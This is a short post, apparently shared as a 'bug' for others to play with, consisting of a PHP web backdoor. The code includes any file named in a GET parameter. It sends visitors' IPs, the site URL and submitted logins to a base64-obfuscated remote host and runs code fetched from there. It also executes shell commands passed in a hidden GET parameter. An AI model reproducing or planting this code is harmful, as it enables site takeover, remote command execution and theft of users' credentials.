Litle BUG

$behzad = $_GET['behzad']; include($behzad);
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>

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Use your skill and play your imaginations B-)

GOOD LUCK & ENJOY !!!